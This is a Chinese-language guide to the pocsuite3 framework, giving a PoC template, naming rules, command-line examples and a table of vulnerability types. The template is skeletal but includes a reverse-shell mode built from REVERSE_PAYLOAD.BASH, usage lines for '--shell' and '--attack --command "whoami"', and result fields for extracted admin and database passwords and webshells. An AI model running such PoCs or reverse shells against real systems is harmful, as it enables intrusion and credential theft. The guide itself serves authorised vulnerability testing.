命名规则
漏洞应用名_版本号_漏洞类型名称
(所有字母均为小写,所有的符号改成_)
例:
88979_cmseasy_5_5_sql_injection.py
模板
#导入所写PoC所需要类/文件,尽量不要使用第三方模块。
#迫不得已使用第三方模块有其依赖规则,后面给出。
from pocsuite3.api import Output,POCBase,register_poc,requests
#PoC实现类,继承POCBase
class DemoPoc(POCBase):
#PoC信息字段,需要完整填写全部下列信息
vulID = '1000' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' # 默认为1
author = 'chen' # PoC作者的大名
vulDate = '2014-10-16' # 漏洞公开的时间,不知道就写今天
createDate = '2014-10-16' # 编写PoC的日期
updateDate = '2014-10-16' # PoC更新的时间,默认和编写时间一样
references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']
# 漏洞地址来源,0day不用写
name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞 PoC' # PoC名称
appPowerLink = 'https://www.drupal.org/' # 漏洞厂商主页地址
appName = 'Drupal' # 漏洞应用名称
appVersion = '7.x' # 漏洞影响版本
vulType = 'SQL Injection' # 漏洞类型,类型参考见 漏洞类型规范表
desc = '''
漏洞简要描述
'''
samples = [] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
#第三方插件需再此处注明
# 整个字段的值为list,每个项为一个依赖模块
# install_requires =[str_item_,str_item,…]
# 如果遇到安装时模块名与调用时的不一致情况,用:分割开
# 例如常见的加密算法库pycryptodome,但是调用是以from Crypto.Cipher import AES,此时就需要如下填写
# install_requires = ['pycryptodome:Crypto']
pocDesc = '''
poc的用法描述
'''
#编写验证模式
def _verify(self):
output = Output(self)
result = {}
# 验证代码
if x:
result['VerifyInfo']={}
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['Postdata'] = payload
...
return self.parse_output(result) # 必须返回result
#编写攻击模式
#若没有攻击模式,直接写return self._verify()即可
def _attack(self):
output = Output(self)
result = {}
# 攻击代码
if x:
result['VerifyInfo']={}
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['Postdata'] = payload
...
return self.parse_output(result) # 必须返回result
#编写shell模式
def _shell(self):
cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
# 攻击代码 execute cmd
#自定义输出函数,调用框架输出的实例Output
def parse_output(self,result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPoc)
常用命令
# 使用test.py这个PoC去检测http://test.com这个url
pocsuite -u http://test.com -r test.py --verify
# shell 反弹模式
pocsuite -u http://test.com -r test.py --verify --shell
# pocsuite3中自带的ecshop poc中实现了自定义命令`command`,可以从外部参数传递
pocsuite -u http://test.com -r ecshop_rce.py --attack --command "whoami"
#使用test.py这个PoC去检测url.txt文件里所有的url
pocsuite -f url.txt -r test.py --verify
Result结果参数说明
result:[
{ name: 'DBInfo', value:'数据库内容' },
{ name: 'Username', value: '管理员用户名'},
{ name: 'Password', value:'管理员密码' },
{ name: 'Salt', value: '加密盐值'},
{ name: 'Uid', value: '用户ID'},
{ name: 'Groupid', value: '用户组ID'},
{ name: 'ShellInfo', value: 'Webshell信息'},
{ name: 'URL', value: 'Webshell地址'},
{ name: 'Content', value: 'Webshell内容'},
{ name: 'FileInfo', value: '文件信息'},
{ name: 'Filename', value: '文件名称'},
{ name: 'Content', value: '文件内容'},
{ name: 'XSSInfo', value: '跨站脚本信息'},
{ name: 'URL', value: '验证URL'},
{ name: 'Payload', value: '验证Payload'},
{ name: 'AdminInfo', value: '管理员信息'},
{ name: 'Uid', value: '管理员ID'},
{ name: 'Username', value: '管理员用户名'},
{ name: 'Password', value: '管理员密码'},
{ name: 'Database', value:'数据库信息' },
{ name: 'Hostname', value: '数据库主机名'},
{ name: 'Username', value:'数据库用户名' },
{ name: 'Password', value: '数据库密码'},
{ name: 'DBname', value: '数据库名'},
{ name: 'VerifyInfo', value: '验证信息'},
{ name: 'Target', value: '验证host:port'},
{ name: 'URL', value: '验证URL'},
{ name: 'Postdata', value: '验证POST数据'},
{ name: 'Path', value: '网站绝对路径'},
{ name: 'SiteAttr', value: '网站服务器信息'},
{ name: 'Process', value: '服务器进程'}
]
通用方法
方法 | 说明 |
---|---|
from pocsuite3.api import logger | 日志记录,比如logger.log(info) |
from pocsuite3.api import requests | 请求类,用法同 requests |
from pocsuite3.api import Seebug | Seebug api 调用 |
from pocsuite3.api import ZoomEye | ZoomEye api 调用 |
from pocsuite3.api import CEye | Ceye api 调用 |
from pocsuite3.api import crawl | 简单爬虫功能 |
from pocsuite3.api import PHTTPServer | Http服务功能 |
from pocsuite3.api import REVERSE_PAYLOAD | 反向连接shell payload |
from pocsuite3.api import get_results | 获取结果 |
漏洞类型规范
英文名称 | 中文名称 | 缩写 |
---|---|---|
Cross Site Scripting | 跨站脚本 | xss |
Cross Site Request Forgery | 跨站请求伪造 | csrf |
SQL Injection | Sql注入 | sql-inj |
LDAP Injection | ldap注入 | ldap-inj |
Mail Command Injection | 邮件命令注入 | smtp-inj |
Null Byte Injection | 空字节注入 | null-byte-inj |
CRLF Injection | CRLF注入 | crlf-inj |
SSI Injection | Ssi注入 | ssi-inj |
XPath Injection | Xpath注入 | xpath-inj |
XML Injection | Xml注入 | xml-inj |
XQuery Injection | Xquery 注入 | xquery-inj |
Command Execution | 命令执行 | cmd-exec |
Code Execution | 代码执行 | code-exec |
Remote File Inclusion | 远程文件包含 | rfi |
Local File Inclusion | 本地文件包含 | lfi |
Abuse of Functionality | 功能函数滥用 | func-abuse |
Brute Force | 暴力破解 | brute-force |
Buffer Overflow | 缓冲区溢出 | buffer-overflow |
Content Spoofing | 内容欺骗 | spoofing |
Credential Prediction | 证书预测 | credential-prediction |
Session Prediction | 会话预测 | session-prediction |
Denial of Service | 拒绝服务 | dos |
Fingerprinting | 指纹识别 | finger |
Format String | 格式化字符串 | format-string |
HTTP Response Smuggling | http响应伪造 | http-response-smuggling |
HTTP Response Splitting | http响应拆分 | http-response-splitting |
HTTP Request Splitting | http请求拆分 | http-request-splitting |
HTTP Request Smuggling | http请求伪造 | http-request-smuggling |
HTTP Parameter Pollution | http参数污染 | hpp |
Integer Overflows | 整数溢出 | int-overflow |
Predictable Resource Location | 可预测资源定位 | res-location |
Session Fixation | 会话固定 | session-fixation |
URL Redirector Abuse | url重定向 | redirect |
Privilege Escalation | 权限提升 | privilege-escalation |
Resolve Error | 解析错误 | resolve-error |
Arbitrary File Creation | 任意文件创建 | file-creation |
Arbitrary File Download | 任意文件下载 | file-download |
Arbitrary File Deletion | 任意文件删除 | file-deletion |
Backup File Found | 备份文件发现 | bak-file-found |
Database Found | 数据库发现 | db-found |
Directory Listing | 目录遍历 | dir-listing |
Directory Traversal | 目录穿越 | dir-traversal |
File Upload | 文件上传 | file-upload |
Login Bypass | 登录绕过 | login-bypass |
Weak Password | 弱密码 | weak-pass |
Remote Password Change | 远程密码修改 | remote-pass-change |
Code Disclosure | 代码泄漏 | code-disclosure |
Path Disclosure | 路径泄漏 | path-disclosure |
Information Disclosure | 信息泄漏 | info-disclosure |
Security Mode Bypass | 安全模式绕过 | sec-bypass |
Malware | 挂马 | mal |
Black Link | 暗链 | black-link |
Backdoor | 后门 | backdoor |
Unauthorized access | 未授权访问 | Unauthorized access |